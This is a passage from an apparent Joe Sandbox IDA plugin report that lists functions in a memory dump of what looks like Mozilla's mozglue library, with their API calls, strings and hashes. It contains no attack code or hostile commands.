Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: 1ab0099d31390b4a6a129f870565ee8d1cb834c985a8abad2ac959bf35eb3361
Instruction ID: 698188b38662887edcabd2c7770091edaab3b5deda3608bac8da3cad4710d6b7
Opcode Fuzzy Hash: 1ab0099d31390b4a6a129f870565ee8d1cb834c985a8abad2ac959bf35eb3361
Instruction Fuzzy Hash: 6531A471B001159BDF09DFB6CC88EAA7775FB86304F100919E511A3750EB74A905CF7A

Function 6C5F4480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C634843,?), ref: 6C5F45F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C634843,?), ref: 6C5F468A
free.MOZGLUE(?,?,?,?,?,?,6C634843,?), ref: 6C5F46C9
free.MOZGLUE(?), ref: 6C5F46EF
free.MOZGLUE(?), ref: 6C5F4712
free.MOZGLUE(?), ref: 6C5F4735
free.MOZGLUE(?), ref: 6C5F4758
free.MOZGLUE(?), ref: 6C5F477B
free.MOZGLUE(?), ref: 6C5F479E

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 954f1c65973f03cf4a2a583f18487acef320d37f8f4f14b659f551f82bf68783
Instruction ID: 864d6404275baeefa0c708da6564f6461580872a9e853372b1f13aff3f714694
Opcode Fuzzy Hash: 954f1c65973f03cf4a2a583f18487acef320d37f8f4f14b659f551f82bf68783
Instruction Fuzzy Hash: 70B1F671A051548FDB1CDE7CCE9076D77B2AF42328F184628E836DBB96E73098428F91

Function 6C65AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C65AC52
CreateFileMappingW.KERNEL32 ref: 6C65AC7D
GetSystemInfo.KERNEL32 ref: 6C65AC98
MapViewOfFile.KERNEL32 ref: 6C65ACB0
GetSystemInfo.KERNEL32 ref: 6C65ACCD
MapViewOfFile.KERNEL32 ref: 6C65AD05
UnmapViewOfFile.KERNEL32 ref: 6C65AD1C
CloseHandle.KERNEL32 ref: 6C65AD28
UnmapViewOfFile.KERNEL32 ref: 6C65AD37
CloseHandle.KERNEL32 ref: 6C65AD43
CloseHandle.KERNEL32 ref: 6C65AD67

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 0d0f9ef7841c092c2b7e81cd5c653034a68085860c568ca7377e03651dbd5c97
Instruction ID: 20878b8f2753c84148939ee40f1d8988a5a8f68cdd70b868c064c0310c94cd1d
Opcode Fuzzy Hash: 0d0f9ef7841c092c2b7e81cd5c653034a68085860c568ca7377e03651dbd5c97
Instruction Fuzzy Hash: 023171B19043048FDB00BF79C68826EBBF1BF85304F114A2DE98587301EB709459CBA6

Function 6C609620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C609675
__Init_thread_footer.LIBCMT ref: 6C609697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C6096E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C609707
__Init_thread_footer.LIBCMT ref: 6C60971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C609773

Part of subcall function 6C62AB89: EnterCriticalSection.KERNEL32(6C67E370,?,?,?,6C5F34DE,6C67F6CC,?,?,?,?,?,?,?,6C5F3284), ref: 6C62AB94
Part of subcall function 6C62AB89: LeaveCriticalSection.KERNEL32(6C67E370,?,6C5F34DE,6C67F6CC,?,?,?,?,?,?,?,6C5F3284,?,?,6C6156F6), ref: 6C62ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C6097B7
FreeLibrary.KERNEL32 ref: 6C6097D0
FreeLibrary.KERNEL32 ref: 6C6097EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C609824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C609670
NtMapViewOfSection, xrefs: 6C609701
MapViewOfFileNuma2, xrefs: 6C6097B1
ntdll.dll, xrefs: 6C6096E3

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 47af8a3a176814f5686a86a2bcd6014475e7861d31daaeea385ccaf107e05eaf
Instruction ID: b46869e6e347f49d17b25b9dc1a3327c1398f90561c9b3c8c72031ba376144dc
Opcode Fuzzy Hash: 47af8a3a176814f5686a86a2bcd6014475e7861d31daaeea385ccaf107e05eaf
Instruction Fuzzy Hash: 6241CE717002119BDF09CFA6E9D4E9677B5FB8A369F104928ED0597740E734A804CFBA

Function 6C640000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C63945E
Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING,?,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C639470
Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING,?,?,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C639482
Part of subcall function 6C639420: __Init_thread_footer.LIBCMT ref: 6C63949F

GetCurrentThreadId.KERNEL32 ref: 6C640039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C640041
GetCurrentThreadId.KERNEL32 ref: 6C640075
AcquireSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C640082
moz_xmalloc.MOZGLUE(00000048), ref: 6C640090
free.MOZGLUE(?), ref: 6C640104
ReleaseSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C64011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6C64005B

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: 78ce7b5f1b63a45ba2778267193cc2554feaa32bb81294794df27047b988b092
Instruction ID: 5ef7de6a2c4536d97b01b5fbbc502de204563bc6240641be5b4ff40d5ec885ba
Opcode Fuzzy Hash: 78ce7b5f1b63a45ba2778267193cc2554feaa32bb81294794df27047b988b092
Instruction Fuzzy Hash: C941B071500264DFCB25CF65C880A9ABBF0FF4A318F50891DE95A83B41D731A815CFAE

Function 6C607E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C607EA7
malloc.MOZGLUE(00000001), ref: 6C607EB3

Part of subcall function 6C60CAB0: EnterCriticalSection.KERNEL32(?), ref: 6C60CB49
Part of subcall function 6C60CAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C60CBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C607EC4
mozalloc_abort.MOZGLUE(?), ref: 6C607F19
malloc.MOZGLUE(?), ref: 6C607F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C607F4D

Strings

d, xrefs: 6C607F89

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: 69860499618cceda837815ddb44b06d318db77eb90df3a6705796855d61ffc70
Instruction ID: f8e9716071a38f31089f9c80d608f526405262377c4b6a35fc43b01cf1d42f71
Opcode Fuzzy Hash: 69860499618cceda837815ddb44b06d318db77eb90df3a6705796855d61ffc70
Instruction Fuzzy Hash: BF313D61E043989BDF019F2ACD445FEB778EF96308F045628DD4967612FB30A5C8C399

Function 6C604C00 Relevance: 13.9, APIs: 8, Strings: 1, Instructions: 421COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C67E7DC), ref: 6C604C2F
LeaveCriticalSection.KERNEL32(6C67E7DC), ref: 6C604C82
EnterCriticalSection.KERNEL32(6C67E7DC), ref: 6C604C89

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C6050F3, 6C605121, 6C60513C

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CriticalSection$Enter$Leave
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2801635615-1351931279
Opcode ID: d88ec83cf16c204bdc4f295d4611468304a31f2ec14b0475b9219d1356ef0a00
Instruction ID: 94405f25bf96de9c599e05deeb2bee7a7fb5050e22b000c2f49012cab7130860
Opcode Fuzzy Hash: d88ec83cf16c204bdc4f295d4611468304a31f2ec14b0475b9219d1356ef0a00
Instruction Fuzzy Hash: 47F1FE717056018FD72DCF29C690769B7E1AF92328F28CA5DE4669BAD0CB70D801CB9C

Function 6C603E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL ref: 6C603EEE
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C603FDC
RtlAllocateHeap.NTDLL ref: 6C604006
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C6040A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C603CCC), ref: 6C6040AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C603CCC), ref: 6C6040C2
RtlFreeHeap.NTDLL(?,00000000,00000000), ref: 6C604134
RtlFreeUnicodeString.NTDLL(?,?,00000000,00000000,?,00000000,00000040,?,?,?,?,?,6C603CCC), ref: 6C604143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,00000000,?,00000000,00000040,?,?,?,?,?,6C603CCC), ref: 6C604157

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: ac07c0d931677ad02467f9836fd3ca3fa2348f802d9e8fd4186c98be77089593
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 8DA19EB1B00205CFDB54CF69C980A69B7B5FF58308F2541A9D90ABF712D771E886CBA4

Function 6C5F2030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6C613F47,?,?,?,6C613F47,6C611A70,?), ref: 6C5F207F
memset.VCRUNTIME140(?,000000E5,6C613F47,?,6C613F47,6C611A70,?), ref: 6C5F20DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6C613F47,6C611A70,?), ref: 6C5F211A
EnterCriticalSection.KERNEL32(6C67E744,?,6C613F47,6C611A70,?), ref: 6C5F2145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6C613F47,6C611A70,?), ref: 6C5F21BA
EnterCriticalSection.KERNEL32(6C67E744,?,6C613F47,6C611A70,?), ref: 6C5F21E0
LeaveCriticalSection.KERNEL32(6C67E744,?,6C613F47,6C611A70,?), ref: 6C5F2232

Strings

MOZ_CRASH(), xrefs: 6C5F227D
MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6C5F2253, 6C5F2268

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: f0a116aecfedacb4c657285c1e4cbeed804b77347683838bd1ef4962c6678ad7
Instruction ID: b3007434dd2e166843af3bf93a60c835e83a9771a590560cc85d36ee506c9ddb
Opcode Fuzzy Hash: f0a116aecfedacb4c657285c1e4cbeed804b77347683838bd1ef4962c6678ad7
Instruction Fuzzy Hash: 3161E5B2F002568FDB0CCF69CC89B6E76B5AF85318F184539E534A7A94D7309C01CE99

Function 6C649D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C648273), ref: 6C649D65
free.MOZGLUE(6C648273,?), ref: 6C649D7C
free.MOZGLUE(?,?), ref: 6C649D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C649E0F
free.MOZGLUE(6C64946B,?,?), ref: 6C649E24
free.MOZGLUE(?,?,?), ref: 6C649E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C649EC8
free.MOZGLUE(6C64946B,?,?,?), ref: 6C649EDF
free.MOZGLUE(?,?,?,?), ref: 6C649EF5

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: ed3d9aef8342db52bb6e8fcd16a01a5f133d5b94dd386bbfa3ba520d89ada80e
Instruction ID: 92c91ff30e13bbb1ca05695132c5ff8fd6284da61f11b42b6b5acac998a99c9d
Opcode Fuzzy Hash: ed3d9aef8342db52bb6e8fcd16a01a5f133d5b94dd386bbfa3ba520d89ada80e
Instruction Fuzzy Hash: 93719F70909B418BC712CF18C58095BF7F9FF99319B44D61DE85A5BB12EB30E886CB89

Function 6C64DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,00000000,?,6C63DEFD), ref: 6C64DDCF

Part of subcall function 6C62FA00: ReleaseSRWLockExclusive.KERNEL32(?,?,6C605407), ref: 6C62FA4B

Part of subcall function 6C6490E0: free.MOZGLUE(00000000,00000000,00000000,?,6C64B6F6,?,?,?,?,?,6C64B127), ref: 6C6490FF
Part of subcall function 6C6490E0: free.MOZGLUE(?,00000000,00000000,?,6C64B6F6,?,?,?,?,?,6C64B127), ref: 6C649108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00000000,00000000,?,6C63DEFD), ref: 6C64DE0D
free.MOZGLUE(00000000,?,?,00000000,00000000,?,6C63DEFD), ref: 6C64DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00000000,00000000,?,6C63DEFD), ref: 6C64DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00000000,00000000,?,6C63DEFD), ref: 6C64DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00000000,00000000,?,6C63DEFD), ref: 6C64DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C63DEFD), ref: 6C64DF32

Part of subcall function 6C64DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?,?,00000000,?,?,?,6C64DF7F,?,?,00000000,00000000,?,6C63DEFD), ref: 6C64DB86
Part of subcall function 6C64DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?,?,?,?,00000000,?,?,?,6C64DF7F,?,?,00000000,00000000), ref: 6C64DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C63DEFD), ref: 6C64DF65
free.MOZGLUE(?,?,?,00000000,00000000,?,6C63DEFD), ref: 6C64DF80

Part of subcall function 6C615E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C615EDB
Part of subcall function 6C615E90: memset.VCRUNTIME140(ewel,000000E5,?), ref: 6C615F27
Part of subcall function 6C615E90: LeaveCriticalSection.KERNEL32(?), ref: 6C615FB2

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 37233fd523766500307ecf64931df570152b572709844ccb32b60bfddc35ef95
Instruction ID: 3070d898546eda05239daaec30fccf1a5fc4dce1859361e55083353b0e07c97b
Opcode Fuzzy Hash: 37233fd523766500307ecf64931df570152b572709844ccb32b60bfddc35ef95
Instruction Fuzzy Hash: 1D51C672E016119BD7219B29C880AEEB372AF92308F95C51CD51A53F00D731F81ACB9E

Function 6C655D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C655C8C,?,6C62E829), ref: 6C655D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C655C8C,?,6C62E829), ref: 6C655D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C655C8C,?,6C62E829), ref: 6C655D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C655C8C,?,6C62E829), ref: 6C655D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C655C8C,?,6C62E829), ref: 6C655DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C655C8C,?,6C62E829), ref: 6C655DC9
std::_Facet_Register.LIBCPMT ref: 6C655DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C655C8C,?,6C62E829), ref: 6C655E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C655C8C,?,6C62E829), ref: 6C655E45

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: c23e990b30420711f894265d17a2a229969e29b9d0e5b29b60546efa45618fd7
Instruction ID: 31c5a1bd578424363ca476a65ef5910a25f8fa1fc2cc0fba5635b3ed967fcb92
Opcode Fuzzy Hash: c23e990b30420711f894265d17a2a229969e29b9d0e5b29b60546efa45618fd7
Instruction Fuzzy Hash: 3A419C317002049FCB04DF66C8DCAAEB7F5EF89318F644568E50A9B791EB34A805CF69

Function 6C62CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C5F31A7), ref: 6C62CDDD

Strings

<jemalloc>, xrefs: 6C62CF9F, 6C62CFB3
: (malloc) Error in VirtualFree(), xrefs: 6C62CFA4, 6C62CFB8

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 1a5250017e522772f1f8719f1d137961808a6ebf5a52fa974f11f5fbf70d10fe
Instruction ID: 2e7dc10f049cd96ea7826fba8e728e1e5950c9864ac01a13c870de65d0104777
Opcode Fuzzy Hash: 1a5250017e522772f1f8719f1d137961808a6ebf5a52fa974f11f5fbf70d10fe
Instruction Fuzzy Hash: 7F310730740215ABFB24AF658C45BAE7775AF81B18F204414F516ABAC0DB78D401CFAD

Function 6C5FECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5FF100: LoadLibraryW.KERNEL32(shell32,?,6C66D020), ref: 6C5FF122
Part of subcall function 6C5FF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C5FF132

moz_xmalloc.MOZGLUE(00000012), ref: 6C5FED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5FEDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C5FEDCC
CreateFileW.KERNEL32 ref: 6C5FEE08
free.MOZGLUE(00000000), ref: 6C5FEE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C5FEE32

Part of subcall function 6C5FEB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C5FEBB5
Part of subcall function 6C5FEB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C62D7F3), ref: 6C5FEBC3
Part of subcall function 6C5FEB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C62D7F3), ref: 6C5FEBD6

Strings

